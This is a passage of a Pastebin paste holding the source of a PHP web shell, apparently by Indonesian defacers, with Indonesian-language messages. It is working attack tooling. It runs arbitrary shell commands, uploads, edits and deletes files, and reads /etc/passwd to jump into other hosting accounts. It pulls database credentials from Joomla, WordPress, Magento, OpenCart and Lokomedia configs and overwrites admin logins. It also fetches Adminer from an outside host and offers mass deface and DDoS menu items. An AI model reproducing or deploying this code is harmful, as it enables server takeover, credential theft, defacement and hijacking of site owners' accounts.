  584.         echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  585.     } else {
  586.         if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  587.             echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  588.         } else {
  589.             echo "<center><font color=red>gagal buat file adminer</font></center>";
  590.         }
  591.     }
  592.     echo "</center>";
  593. }if(isset($_GET['cegns'])) {
  594.     echo "<i><form method='post'>
  595.     <font color=aqua style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
  596.     <input type='text' size='20' height='10' name='fjr'><input type='submit' name='do_fjr' value='>>'>
  597.     </form>";
  598.     if($_POST['do_fjr']) {
  599.         echo "<pre>".exe($_POST['fjr'])."</pre>";
  600.         }
  601. }if (isset($_GET['crazyJumping'])) {
  602.     $i = 0;
  603.     echo "<div class='margin: 5px auto;'>";
  604.     if(preg_match("/hsphere/", $dir)) {
  605.         $urls = explode("\r\n", $_POST['url']);
  606.         if(isset($_POST['jump'])) {
  607.             echo "<pre>";
  608.             foreach($urls as $url) {
  609.                 $url = str_replace(array("http://","www."), "", strtolower($url));
  610.                 $etc = "/etc/passwd";
  611.                 $f = fopen($etc,"r");
  612.                 while($gets = fgets($f)) {
  613.                     $pecah = explode(":", $gets);
  614.                     $user = $pecah[0];
  615.                     $dir_user = "/hsphere/local/home/$user";
  616.                     if(is_dir($dir_user) === true) {
  617.                         $url_user = $dir_user."/".$url;
  618.                         if(is_readable($url_user)) {
  619.                             $i++;
  620.                             $jrw = "[<font color=#18BC9C>R</font>] <a href='?dir=$url_user'><font color=#18BC9C>$url_user</font></a>";
  621.                             if(is_writable($url_user)) {
  622.                                 $jrw = "[<font color=#18BC9C>RW</font>] <a href='?dir=$url_user'><font color=#18BC9C>$url_user</font></a>";
  623.                             }
  624.                             echo $jrw."<br>";
  625.                         }
  626.                     }
  627.                 }
  628.             }
  629.         if($i == 0) {
  630.         } else {
  631.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  632.         }
  633.         echo "</pre>";
  634.         } else {
  635.             echo '<center>
  636.                   <form method="post">
  637.                   List Domains: <br>
  638.                   <textarea name="url" style="width: 500px; height: 250px;">';
  639.             $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
  640.             while($getss = fgets($fp)) {
  641.                 echo $getss;
  642.             }
  643.             echo  '</textarea><br>
  644.                   <input type="submit" value="Jumping" name="jump" class="btn btn-success btn-sm" style="width: 500px; height: 25px;">
  645.                   </form></center>';
  646.         }
  647.     } elseif(preg_match("/vhosts/", $dir)) {
  648.         $urls = explode("\r\n", $_POST['url']);
  649.         if(isset($_POST['jump'])) {
  650.             echo "<pre>";
  651.             foreach($urls as $url) {
  652.                 $web_vh = "/var/www/vhosts/$url/httpdocs";
  653.                 if(is_dir($web_vh) === true) {
  654.                     if(is_readable($web_vh)) {
  655.                         $i++;
  656.                         $jrw = "[<font color=#18BC9C>R</font>] <a href='?dir=$web_vh'><font color=#18BC9C>$web_vh</font></a>";
  657.                         if(is_writable($web_vh)) {
  658.                             $jrw = "[<font color=#18BC9C>RW</font>] <a href='?dir=$web_vh'><font color=#18BC9C>$web_vh</font></a>";
  659.                         }
  660.                         echo $jrw."<br>";
  661.                     }
  662.                 }
  663.             }
  664.         if($i == 0) {
  665.         } else {
  666.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  667.         }
  668.         echo "</pre>";
  669.         } else {
  670.             echo '<center>
  671.                   <form method="post">
  672.                   List Domains: <br>
  673.                   <textarea name="url" style="width: 500px; height: 250px;">';
  674.                   bing("ip:$ip");
  675.             echo  '</textarea><br>
  676.                   <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  677.                   </form></center>';
  678.         }
  679.     } else {
  680.         echo "<pre>";
  681.         $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
  682.         while($passwd = fgets($etc)) {
  683.             if($passwd == '' || !$etc) {
  684.                 echo "<font color=red>Can't read /etc/passwd</font>";
  685.             } else {
  686.                 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  687.                 foreach($user_jumping[1] as $user_idx_jump) {
  688.                     $user_jumping_dir = "/home/$user_idx_jump/public_html";
  689.                     if(is_readable($user_jumping_dir)) {
  690.                         $i++;
  691.                         $jrw = "[<font color=#18BC9C>R</font>] <a href='?dir=$user_jumping_dir'><font color=#18BC9C>$user_jumping_dir</font></a>";
  692.                         if(is_writable($user_jumping_dir)) {
  693.                             $jrw = "[<font color=#18BC9C>RW</font>] <a href='?dir=$user_jumping_dir'><font color=#18BC9C>$user_jumping_dir</font></a>";
  694.                         }
  695.                         echo $jrw;
  696.                         if(function_exists('posix_getpwuid')) {
  697.                             $domain_jump = file_get_contents("/etc/named.conf");   
  698.                             if($domain_jump == '') {
  699.                                 echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  700.                             } else {
  701.                                 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  702.                                 foreach($domains_jump[1] as $dj) {
  703.                                     $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  704.                                     $user_jumping_url = $user_jumping_url['name'];
  705.                                     if($user_jumping_url == $user_idx_jump) {
  706.                                         echo " => ( <u>$dj</u> )<br>";
  707.                                         break;
  708.                                     }
  709.                                 }
  710.                             }
  711.                         } else {
  712.                             echo "<br>";
  713.                         }
  714.                     }
  715.                 }
  716.             }
  717.         }
  718.         if($i == 0) {
  719.         } else {
  720.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  721.         }
  722.         echo "</pre>";
  723.     }
  724.     echo "</div>";
  725.     } elseif($_GET['do'] == 'auto_edit_user') {
  726.     if($_POST['hajar']) {
  727.         if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  728.             echo "username atau password harus lebih dari 6 karakter";
  729.         } else {
  730.             $user_baru = $_POST['user_baru'];
  731.             $pass_baru = md5($_POST['pass_baru']);
  732.             $conf = $_POST['config_dir'];
  733.             $scan_conf = scandir($conf);
  734.             foreach($scan_conf as $file_conf) {
  735.                 if(!is_file("$conf/$file_conf")) continue;
  736.                 $config = file_get_contents("$conf/$file_conf");
  737.                 if(preg_match("/JConfig|joomla/",$config)) {
  738.                     $dbhost = ambilkata($config,"host = '","'");
  739.                     $dbuser = ambilkata($config,"user = '","'");
  740.                     $dbpass = ambilkata($config,"password = '","'");
  741.                     $dbname = ambilkata($config,"db = '","'");
  742.                     $dbprefix = ambilkata($config,"dbprefix = '","'");
  743.                     $prefix = $dbprefix."users";
  744.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  745.                     $db = mysql_select_db($dbname);
  746.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  747.                     $result = mysql_fetch_array($q);
  748.                     $id = $result['id'];
  749.                     $site = ambilkata($config,"sitename = '","'");
  750.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  751.                     echo "Config => ".$file_conf."<br>";
  752.                     echo "CMS => Joomla<br>";
  753.                     if($site == '') {
  754.                         echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  755.                     } else {
  756.                         echo "Sitename => $site<br>";
  757.                     }
  758.                     if(!$update OR !$conn OR !$db) {
  759.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  760.                     } else {
  761.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  762.                     }
  763.                     mysql_close($conn);
  764.                 } elseif(preg_match("/WordPress/",$config)) {
  765.                     $dbhost = ambilkata($config,"DB_HOST', '","'");
  766.                     $dbuser = ambilkata($config,"DB_USER', '","'");
  767.                     $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  768.                     $dbname = ambilkata($config,"DB_NAME', '","'");
  769.                     $dbprefix = ambilkata($config,"table_prefix  = '","'");
  770.                     $prefix = $dbprefix."users";
  771.                     $option = $dbprefix."options";
  772.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  773.                     $db = mysql_select_db($dbname);
  774.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  775.                     $result = mysql_fetch_array($q);
  776.                     $id = $result[ID];
  777.                     $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  778.                     $result2 = mysql_fetch_array($q2);
  779.                     $target = $result2[option_value];
  780.                     if($target == '') {
  781.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  782.                     } else {
  783.                         $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  784.                     }
  785.                     $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  786.                     echo "Config => ".$file_conf."<br>";
  787.                     echo "CMS => Wordpress<br>";
  788.                     echo $url_target;
  789.                     if(!$update OR !$conn OR !$db) {
  790.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  791.                     } else {
  792.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  793.                     }
  794.                     mysql_close($conn);
  795.                 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  796.                     $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  797.                     $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  798.                     $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  799.                     $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  800.                     $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  801.                     $prefix = $dbprefix."admin_user";
  802.                     $option = $dbprefix."core_config_data";
  803.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  804.                     $db = mysql_select_db($dbname);
  805.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  806.                     $result = mysql_fetch_array($q);
  807.                     $id = $result[user_id];
  808.                     $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  809.                     $result2 = mysql_fetch_array($q2);
  810.                     $target = $result2[value];
  811.                     if($target == '') {
  812.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  813.                     } else {
  814.                         $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  815.                     }
  816.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  817.                     echo "Config => ".$file_conf."<br>";
  818.                     echo "CMS => Magento<br>";
  819.                     echo $url_target;
  820.                     if(!$update OR !$conn OR !$db) {
  821.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  822.                     } else {
  823.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  824.                     }
  825.                     mysql_close($conn);
  826.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  827.                     $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  828.                     $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  829.                     $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  830.                     $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  831.                     $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  832.                     $prefix = $dbprefix."user";
  833.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  834.                     $db = mysql_select_db($dbname);
  835.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  836.                     $result = mysql_fetch_array($q);
  837.                     $id = $result[user_id];
  838.                     $target = ambilkata($config,"HTTP_SERVER', '","'");
  839.                     if($target == '') {
  840.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  841.                     } else {
  842.                         $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  843.                     }
  844.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  845.                     echo "Config => ".$file_conf."<br>";
  846.                     echo "CMS => OpenCart<br>";
  847.                     echo $url_target;
  848.                     if(!$update OR !$conn OR !$db) {
  849.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  850.                     } else {
  851.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  852.                     }
  853.                     mysql_close($conn);
  854.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  855.                     $dbhost = ambilkata($config,'server = "','"');
  856.                     $dbuser = ambilkata($config,'username = "','"');
  857.                     $dbpass = ambilkata($config,'password = "','"');
  858.                     $dbname = ambilkata($config,'database = "','"');
  859.                     $prefix = "users";
  860.                     $option = "identitas";
  861.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  862.                     $db = mysql_select_db($dbname);
  863.                     $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  864.                     $result = mysql_fetch_array($q);
  865.                     $target = $result[alamat_website];
  866.                     if($target == '') {
  867.                         $target2 = $result[url];
  868.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  869.                         if($target2 == '') {
  870.                             $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  871.                         } else {
  872.                             $cek_login3 = file_get_contents("$target2/adminweb/");
  873.                             $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  874.                             if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  875.                                 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  876.                             } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  877.                                 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  878.                             } else {
  879.                                 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  880.                             }
  881.                         }
  882.                     } else {
  883.                         $cek_login = file_get_contents("$target/adminweb/");
  884.                         $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  885.                         if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  886.                             $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  887.                         } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  888.                             $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  889.                         } else {
  890.                             $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  891.                         }
  892.                     }
  893.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  894.                     echo "Config => ".$file_conf."<br>";
  895.                     echo "CMS => Lokomedia<br>";
  896.                     if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  897.                         echo $url_target2;
  898.                     } else {
  899.                         echo $url_target;
  900.                     }
  901.                     if(!$update OR !$conn OR !$db) {
  902.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  903.                     } else {
  904.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  905.                     }
  906.                     mysql_close($conn);
  907.                 }
  908.             }
  909.         }
  910.     } else {
  911.         echo "<center>
  912.         <h1>Auto Edit User Config</h1>
  913.         <form method='post'>
  914.         DIR Config: <br>
  915.         <input type='text' size='50' name='config_dir' value='$path'><br><br>
  916.         Set User & Pass: <br>
  917.         <input type='text' name='user_baru' value='./MaXimous48' placeholder='user_baru'><br>
  918.         <input type='text' name='pass_baru' value='./MaXimous48' placeholder='pass_baru'><br>
  919.         <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  920.         </form>
  921.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  922.         ";
  923.     }
  924. }if(isset($_FILES['file'])){
  925. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  926. echo '<font color="green">SUCCESS</font><br />';
  927. }else{
  928. echo '<font color="red">ERROR</font><br />';
  929. }
  930.  
  931. }
  932. echo '<i><font color=lime>'.php_uname().'<br>  <b><font color=aqua>IP Lu Cok ! : </b> '.$_SERVER['REMOTE_ADDR'].'</b><br>';
  933. echo '<i><font color=lime>coded &copy; '.date('Y').' - <a><font color=yellow>./MaXimous48</font><center></a>';
  934. echo '<form enctype="multipart/form-data" method="POST"><hr>
  935. <marquee behavior=alternate scrollamount=20>Jadilah Hekel Yang Berguna Bagi Nusa Bangsa</marquee><hr> <br><input type="file" name="file" />
  936. <input type="submit" value="UPLOAD" />
  937. </form><hr><ul><center><br>
  938. <a href=?><input type="submit" value="HOME" /> </form>
  939. <a href=?MaXimous48MassDeface><input type="submit" value="MASS DEFACE" /></form>
  940. <a href=?dir=$dir&do=adminer><input type="submit" value="ADMINER" /></from>
  941. <a href=?dir=$dir&do=itsZNine7><input type="submit" value="MASS DELETE" /></from><br>
  942. <a href=?cegns><input type="submit" value="COMMAND" /></from>
  943. <a href=?dir=$dir&do=auto_wp><input type="submit" value="AUTO EDIT TITLE WORDPRESS" /></from>
  944. <a href=?dir=$dir&do=zoneh><input type="submit" value="ZONE H" /></from>
  945. <a href=?dir=$dir&do=auto_edit_user><input type="submit" value="AUTO EDIT USER" /></from>
  946. <a href=?dir=$dir&do=cgi><input type="submit" value="CGI TELNET" /></from><br>
  947. <a href=?dir=$dir&do=ddos><input type="submit" value="DDoS" /></from>
  948. <a href=?dir=$dir&do=fake_root><input type="submit" value="FAKE ROOT" /></from><br>
  949. <a href=?dir=$dir&do=auto_dwp><input type="submit" value="AUTO DEFACE WORDPRESS" /></from>
  950. <a href=?dir=$dir&do=auto_dwp><input type="submit" value="AUTO DEFACE WORDPRESS" /></from>
  951. <a href=?ximousJumping><input type="submit" value="JUMPING" /></form><br>
  952. <a href=?dir=$dir&do=network><input type="submit" value="NETWORK" /></from>
  953. <a href=?dir=$dir&do=ximous48><input type="submit" value="ABOUT" /></from>
  954. <a href=?bacok><input type="submit" value="KILL" /></form></a></center>
  955. </td></tr>';
  956. if(isset($_GET['filesrc'])){
  957. echo "<tr><td>Current File : ";
  958. echo $_GET['filesrc'];
  959. echo '</tr></td></table><br />';
  960. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  961. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  962. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  963. if($_POST['opt'] == 'chmod'){
  964. if(isset($_POST['perm'])){
  965. if(chmod($_POST['path'],$_POST['perm'])){
  966. echo '<font color="green">Sukses Cok !</font><br />';
  967. }else{
  968. echo '<font color="red">Eror cok !</font><br />';
  969. }
  970. }
  971. echo '<form method="POST">
  972. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  973. <input type="hidden" name="path" value="'.$_POST['path'].'">
  974. <input type="hidden" name="opt" value="chmod">
  975. <input type="submit" value="Go" />
  976. </form>';
  977. }elseif($_POST['opt'] == 'rename'){
  978. if(isset($_POST['newname'])){
  979. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  980. echo '<font color="green">Sukses Cok !</font><br />';
  981. }else{
  982. echo '<font color="red">Eror Cok !</font><br />';
  983. }
  984. $_POST['name'] = $_POST['newname'];
  985. }
  986. echo '<form method="POST">
  987. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  988. <input type="hidden" name="path" value="'.$_POST['path'].'">
  989. <input type="hidden" name="opt" value="rename">
  990. <input type="submit" value="Go" />
  991. </form>';
  992. }elseif($_POST['opt'] == 'edit'){
  993. if(isset($_POST['src'])){
  994. $fp = fopen($_POST['path'],'w');
  995. if(fwrite($fp,$_POST['src'])){
  996. echo '<font color="green">Sukses Cok !</font><br />';
  997. }else{
  998. echo '<font color="red">Gagal Cok !</font><br />';
  999. }
  1000. fclose($fp);
  1001. }
  1002. echo '<form method="POST">
  1003. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  1004. <input type="hidden" name="path" value="'.$_POST['path'].'">
  1005. <input type="hidden" name="opt" value="edit">
  1006. <input type="submit" value="Go" />
  1007. </form>';
  1008. }
  1009. echo '</center>';
  1010. }else{
  1011. echo '</table><br /><center>';
  1012. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  1013. if($_POST['type'] == 'dir'){
  1014. if(rmdir($_POST['path'])){
  1015. echo '<font color="green">Sukses Cok !</font><br />';
  1016. }else{
  1017. echo '<font color="red">Eror Cok !</font><br />';
  1018. }
  1019. }elseif($_POST['type'] == 'file'){
  1020. if(unlink($_POST['path'])){
  1021. echo '<font color="green">Delete File Berhasil Cok !</font><br />';
  1022. }else{
  1023. echo '<font color="red">Delete File Eror Cok !</font><br />';
  1024. }
  1025. }
  1026. }
  1027. echo '</center>';
  1028. $scandir = scandir($path);
  1029. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  1030. <tr class="first">
  1031. <td><font color=white><center>Name</center></td>
  1032. <td><font color=white><center>Size</center></td>
  1033. <td><font color=white><center>Permissions</center></td>
  1034. <td><font color=white><center>Options</center></td></font>
  1035. </tr>';
  1036.  
  1037. foreach($scandir as $dir){
  1038. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  1039. echo "<tr>
  1040. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  1041. <td><center>--</center></td>
  1042. <td><center>";
  1043. if(is_writable("$path/$dir")) echo '<font color="lime">';
  1044. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  1045. echo perms("$path/$dir");
  1046. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  1047.  
  1048. echo "</center></td>
  1049. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  1050. <select name=\"opt\">
  1051. <option value=\"selct\">Select</option>
  1052. <option value=\"delete\">Delete</option>
  1053. <option value=\"chmod\">Chmod</option>
  1054. <option value=\"rename\">Rename</option>
  1055. </select>
  1056. <input type=\"hidden\" name=\"type\" value=\"dir\">
  1057. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  1058. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  1059. <input type=\"submit\" value=\">>\" />
  1060. </form></center></td>
  1061. </tr>";
  1062. }
  1063. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  1064. foreach($scandir as $file){
  1065. if(!is_file("$path/$file")) continue;
  1066. $size = filesize("$path/$file")/1024;
  1067. $size = round($size,3);
  1068. if($size >= 1024){
  1069. $size = round($size/1024,2).' MB';
  1070. }else{
  1071. $size = $size.' KB';
  1072. }
  1073.  
  1074. echo "<tr>
  1075. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  1076. <td><center>".$size."</center></td>
  1077. <td><center>";
  1078. if(is_writable("$path/$file")) echo '<font color="lime">';
  1079. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  1080. echo perms("$path/$file");
  1081. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  1082. echo "</center></td>
  1083. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  1084. <select name=\"opt\">
  1085. <option value=\"select\">Select</option>
  1086. <option value=\"delete\">Delete</option>
  1087. <option value=\"chmod\">Chmod</option>
  1088. <option value=\"rename\">Rename</option>
  1089. <option value=\"edit\">Edit</option>
  1090. </select>
  1091. <input type=\"hidden\" name=\"type\" value=\"file\">
  1092. <input type=\"hidden\" name=\"name\" value=\"$file\">
  1093. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  1094. <input type=\"submit\" value=\">>\" />
  1095. </form></center></td>
  1096. </tr>";
  1097. }
  1098. echo '</table>
  1099. </div>';
  1100.    
  1101.  
  1102. }
  1103. echo '<center><br><font color=lime>Special thanks To : ./CE.19 - All Defacer Indonesia - Official Member Devil Security Crew
  1104. <br><td><center>
  1105. </BODY><font color=red>
  1106. </HTML>';
  1107. function perms($file){
  1108. $perms = fileperms($file);
  1109.  
  1110. if (($perms & 0xC000) == 0xC000) {
  1111. // Socket
  1112. $info = 's';
  1113. } elseif (($perms & 0xA000) == 0xA000) {
  1114. // Symbolic Link
  1115. $info = 'l';
  1116. } elseif (($perms & 0x8000) == 0x8000) {
  1117. // Regular
  1118. $info = '-';
  1119. } elseif (($perms & 0x6000) == 0x6000) {
  1120. // Block special
  1121. $info = 'b';
  1122. } elseif (($perms & 0x4000) == 0x4000) {
  1123. // Directory
  1124. $info = 'd';
  1125. } elseif (($perms & 0x2000) == 0x2000) {
  1126. // Character special
  1127. $info = 'c';
  1128. } elseif (($perms & 0x1000) == 0x1000) {
  1129. // FIFO pipe
  1130. $info = 'p';
  1131. } else {
  1132. // Unknown
  1133. $info = 'u';
  1134. }
  1135.  
  1136. // Owner
  1137. $info .= (($perms & 0x0100) ? 'r' : '-');
  1138. $info .= (($perms & 0x0080) ? 'w' : '-');
  1139. $info .= (($perms & 0x0040) ?
  1140. (($perms & 0x0800) ? 's' : 'x' ) :
  1141. (($perms & 0x0800) ? 'S' : '-'));
  1142.  
  1143. // Group
  1144. $info .= (($perms
  1145. & 0x0020) ? 'r' : '-');
  1146. $info .= (($perms & 0x0010) ? 'w' : '-');
  1147. $info .= (($perms & 0x0008) ?
  1148. (($perms & 0x0400) ? 's' : 'x' ) :
  1149. (($perms & 0x0400) ? 'S' : '-'));
  1150.  
  1151. // World
  1152. $info .= (($perms & 0x0004) ? 'r' : '-');
  1153. $info .= (($perms & 0x0002) ? 'w' : '-');
  1154. $info .= (($perms & 0x0001) ?
  1155. (($perms & 0x0200) ? 't' : 'x' ) :
  1156. (($perms & 0x0200) ? 'T' : '-'));
  1157.  
  1158. return $info;
  1159. }
  1160. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!